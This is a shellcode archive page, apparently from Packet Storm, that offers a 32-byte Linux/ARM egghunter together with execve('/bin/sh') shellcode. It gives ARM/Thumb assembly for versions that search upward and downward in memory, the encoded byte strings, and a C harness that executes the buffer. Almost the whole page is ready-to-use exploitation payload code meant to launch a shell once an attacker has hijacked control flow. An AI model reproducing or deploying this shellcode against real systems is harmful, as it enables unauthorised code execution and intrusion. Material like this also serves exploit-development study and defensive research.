exploit the possibilities

Linux/ARM Egghunter + /bin/sh Shellcode

Linux/ARM Egghunter + /bin/sh Shellcode
Posted May 31, 2018
Authored by Ken Kitahara

32 bytes smalls Linux/ARM egghunter + /bin/sh shellcode.

tags | shellcode
systems | linux
MD5 | 620971f7d773b12daf101632c4d27f2e

Linux/ARM Egghunter + /bin/sh Shellcode

Change Mirror Download
/*
Linux/ARM (Raspberry Pi) - Egghunter + /bin/sh Shellcode (32 bytes)

------------------------------
// If your shellcode in higer address, use following egghunter.
pi@raspberrypi:~ $ cat egghunter-higher.s
.section .text
.global _start
_start:
.code 32
add r3, pc, #1 // switch to thumb mode
bx r3

.code 16
adr r1, startpoint // set r1 to start point address
ldr r2, egg // set r2 to egg's value

next_addr:
add r1, r1, #1 // increment scan address
ldr r3, [r1] // set r3 to the value stored in r1's address
cmp r2, r3 // compare values
bne next_addr // if failed to find egg, jump to next address

mov r3, pc // switch to arm mode
bx r3

.code 32
mov pc, r1 // jump to found address

egg:
.ascii "\x50\x90\x50\x90"
startpoint:

pi@raspberrypi:~ $

------------------------------
// If your shellcode in lower address, use following egghunter.
pi@raspberrypi:~ $ cat egghunter-lower.s
.section .text
.global _start
_start:
.code 32
add r3, pc, #1 // switch to thumb mode
bx r3

.code 16
adr r1, startpoint // set r1 to start point address
ldr r2, egg // set r2 to egg's value

next_addr:
sub r1, r1, #1 // increment scan address
ldr r3, [r1] // set r3 to the value stored in r1's address
cmp r2, r3 // compare values
bne next_addr // if failed to find egg, jump to next address

startpoint:
mov r3, pc // switch to arm mode
bx r3

.code 32
mov pc, r1 // jump to found address

egg:
.ascii "\x50\x90\x50\x90"

pi@raspberrypi:~ $

------------------------------
*/

#include <stdio.h>
#include <string.h>

// If your shellcode in higer address, use following egghunter.
unsigned char egghunter[] = \
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x05\xa1\x04\x4a\x01\x31\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";

unsigned char egg[] = \
"\x50\x90\x50\x90" // egg tag
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1" // execve('/bin/sh')
"\x49\x40\x52\x40\x01\xa0\xc2\x71"
"\x0b\x27\x01\xdf\x2f\x62\x69\x6e"
"\x2f\x73\x68\x41";

// If your shellcode in lower address, use following egghunter.
//unsigned char egghunter[] = \
//"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa1\x04\x4a\x01\x39\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";

void main()
{
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
printf("Egg shellcode Length: %d\n", strlen(egg));

int (*ret)() = (int(*)())egghunter;

ret();
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close